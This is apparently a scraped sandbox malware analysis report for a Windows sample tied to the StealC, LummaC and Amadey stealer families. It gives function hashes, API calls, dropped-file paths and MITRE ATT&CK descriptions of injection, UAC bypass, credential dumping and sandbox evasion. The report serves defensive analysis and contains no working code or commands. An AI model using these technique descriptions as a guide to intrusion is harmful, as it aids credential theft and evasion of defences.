Opcode Fuzzy Hash: 8995fd48f32858667efa147516aeca0f590fbd32a56298b012e3a6a71decc25c
Instruction Fuzzy Hash: 7741CFB16042068FEB14CF78CC8076AB3F2BB45309F154939D516DBB80E7B6E906CB92

Function 6C526E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C526EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C526EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C526F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C526F5C

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 82d5114acf824bdd3b272a1aa72f803513b408637849fdc14e9e00eb0c9b5a3f
Instruction ID: 6f0616922bf985cbdaef5760aa0a2ec8f1e2adce547093519c776bc23b650702
Opcode Fuzzy Hash: 82d5114acf824bdd3b272a1aa72f803513b408637849fdc14e9e00eb0c9b5a3f
Instruction Fuzzy Hash: 2C31F671A1060A8FDB14CF2CCD806AE73E9EB84304F50853DD41AD7AA5EF35EA59C791

Function 6C53B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C4E0A4D), ref: 6C53B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C4E0A4D), ref: 6C53B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C4E0A4D), ref: 6C53B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C4E0A4D), ref: 6C53B67F

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 344287b2f1a1d5c2d77d2c7f016a2d3dd59e2386d13525123740dd79a4377a22
Instruction ID: 5c98e569e2e331a3438c36cea54544853a20fa7e46cb472cad7acd8b390049fc
Opcode Fuzzy Hash: 344287b2f1a1d5c2d77d2c7f016a2d3dd59e2386d13525123740dd79a4377a22
Instruction Fuzzy Hash: 4431E371A016268FDB10DF58CC4465ABBB5EF84314F5A8A29C80A9B712FB31E915CBA0

Function 6C50F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C50F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C50F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C50F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C50F668

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 7f375c52c7bad776a1a447baf0edb01f9523413923cff892bafb91127bb4ef9b
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 8D311E71B00614AFC724CF59DCC0A9E77B6EBC4358B148A39EA498BB05D771F9448B98

Function 6C5226B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5226C1
free.MOZGLUE(?), ref: 6C5226E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5226FF
free.MOZGLUE ref: 6C52270D

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: f2cb81af0d1950b52046b5b170ae32a7688187ceba54736e80ca1a0f160b6b27
Instruction ID: ae8a7cc03fc913955dccf943857efba5ade15b964008dcf5c2329b9a17e67816
Opcode Fuzzy Hash: f2cb81af0d1950b52046b5b170ae32a7688187ceba54736e80ca1a0f160b6b27
Instruction Fuzzy Hash: C1F0F4B77012005BE7009B18DC88E4BB3E9EF45368B550035EA1AC3B02E736F919C6A6

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\FBKEHJEG

C:\ProgramData\HCAKFBGCBFHIJKECGIIJ

C:\ProgramData\IEBAAFCAFCBKFHJJJKKF

C:\ProgramData\JDAKJDAAFBKFHIEBFCFB

C:\ProgramData\JKJDBAAAEHIEGCAKFHCGDHIEGD

C:\ProgramData\KECFIDGC

C:\ProgramData\KKFHJDAEHIEHJJKFBGDAKKKKEG

Windows Analysis Report
file.exe

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre